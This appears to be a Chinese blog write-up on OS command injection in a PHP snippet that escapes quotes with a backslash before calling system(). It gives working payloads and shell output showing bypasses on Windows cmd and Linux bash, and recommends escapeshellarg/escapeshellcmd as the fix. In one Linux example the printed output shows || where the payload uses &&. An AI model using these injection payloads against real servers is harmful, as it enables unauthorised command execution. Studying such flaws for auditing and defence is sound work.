昨天好基友發來了一段程式碼,還是挺有趣的,記錄下:
<?php $a = '\''.str_replace("'","\'",$_GET[1]).'\''; $b = '\''.str_replace("'","\'",$_GET[2]).'\''; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
程式碼如下,要求windows和linux下執行命令
先從windows下手吧:
payload:
test' | echo 123 > helloworld.txt |dir &2=1
頁面輸出:
'test\' | echo 123 > helloworld.txt |dir ' string(3) "'1'" string(50) "echo 'test\' | echo 123 > helloworld.txt |dir ''1'" 驅動器 C 中的卷沒有標籤。 卷的序列號是 4A10-0977 C:\phpStudy\WWW 的目錄
發現即使轉義了單引號仍待可以命令執行,問題出在哪裡呢?
開啟windows cmd:
直接輸入這段語句:
echo 'test\' | echo 123 > helloworld.txt |dir ''1'
此時我的桌面上就有了一個helloworld.txt檔案
其實問題就出在程式設計師誤把\認為是windows的轉義符,其實windows真正的轉義符就是(^):
我們可以多測試幾次看看:
測試用例如下:
先測試有效的:
C:\Users\maniac123\Desktop>echo 'test\' | echo 123 123 C:\Users\maniac123\Desktop>echo 'test | echo 123 123 C:\Users\maniac123\Desktop>echo 'x''' | echo 123 123 C:\Users\maniac123\Desktop>echo 'x | echo 123' 123' C:\Users\maniac123\Desktop>
發現在windows下,如果使用\'的方式去處理修復rce,是不對的,通過連線符,將會暢通無阻.如果不去處理正確的轉義連線符,會導致rce:
比如說我這樣輸入:
C:\Users\maniac123\Desktop>echo 'x 111.txt\| echo 123' 123' C:\Users\maniac123\Desktop>
仍然是正常輸出,除非使用^去處理連線符:
C:\Users\maniac123\Desktop>echo 'x 111.txt^| echo 123' 'x 111.txt| echo 123' C:\Users\maniac123\Desktop>
如果使用^去轉義,只會列印,而不是執行
那麼上面那段程式碼在windows下無效,建議使用:php自帶的命令執行處理函式escapeshellarg或escapeshellcmd
無效測試用例:
C:\Users\maniac123\Desktop>echo "xxx | echo 123" "xxx | echo 123" C:\Users\maniac123\Desktop>echo "xxx && echo 123" "xxx && echo 123" C:\Users\maniac123\Desktop>
在windows下如果可控的資料被雙引號包裹,那又不一樣了,windows認為他只是字串,他只會原樣輸出:
這樣,都不需要轉義連線符號,就把漏洞扼殺在搖籃裡了,真的無懈可擊嗎?
稍微修改下輸入:
C:\Users\maniac123\Desktop>echo "xxx^" | whoami maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx\" | whoami maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx/" | whoami maniac123-pc\maniac123
如果有程式設計師二次畫蛇添足做多餘轉義處理,那麼就會逃逸導致再次命令執行:
在windows下只要看到"了,就代表是閉合了,前面什麼符號都沒關係!
通過這個差異,下次原始碼審計就可以鑽這種空子,實現命令執行.
windows大致說完了,現在來講講linux下的問題:
linux的轉義符號有兩個:分別是(\)和(''),大多數都知道前者,後者容易被忽略
都可以起到轉義的作用
當使用(\)或者('')轉義連線符的時候,命令執行會失敗:
上測試程式碼:
<?php $t1 = "這是可控點1"; $t2 = "這是可控點2"; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
直接給出payload:
<?php $t1 = "' && echo 11111111 > hello.txt && '"; $t2 = "\'"; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
列印輸出看下:
\'\' && echo 11111111 > hello.txt && \'\'\'\' && echo 11111111 > hello.txt && \'\'<br/>string(7) "\'\\'\'" <br/>string(53) "echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'" <br/>'' sh: '''\\: command not found
把這部分取出來即可:
"echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
單獨拎出來:
echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'
linux cmd下執行下:
為什麼可以?
前面的程式碼發現,這裡把'轉換成\',比較有迷惑性的輸入:
\'\'\'\\'\'
再次執行:
輸出
'''\\
前面說了linux 下 '*'才是轉義符,\也是轉義符:
分開執行:
這樣就清晰多了
linux和windows下區別很大:
如果linux這樣做,直接gg了,引號包裹裡面,就扼殺了命令執行的可能性:
還是\'使用不當,導致想輸入的惡意語句逃逸:
[root@VM-0-6-centos ~]# cat 123.txt cat: 123.txt: 沒有那個檔案或目錄 [root@VM-0-6-centos ~]# echo '\'|echo 123 > 123.txt|\\'' -bash: \: 未找到命令 [root@VM-0-6-centos ~]# cat 123.txt 123 [root@VM-0-6-centos ~]#
為什麼可以執行命令?因為轉義符!導致我們的{echo 123 > 123.txt}是一個整體,直接命令執行
其實不借助第二個可控引數,仍然可以命令執行只要這樣:
<?php $t1 = "' && echo 11111111 > hello.txt && '"; $t2 = ""; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
輸出
\'\' || echo 11111111 > hello.txt || \'\'\'\' || echo 11111111 > hello.txt || \'\'<br/>string(4) "\'\'" <br/>string(50) "echo \'\' || echo 11111111 > hello.txt || \'\'\'\'" <br/>'' <br/>
其中最終的輸出的是:
echo \'\' || echo 11111111 > hello.txt || \'\'\'\'
都一一轉義了,此時此刻{echo 11111111 > hello.txt}就是一個整體
那麼在linux下命令執行修復方案如下:建議使用:php自帶的命令執行處理函式escapeshellarg或escapeshellcmd
還是比較有意思的,呵呵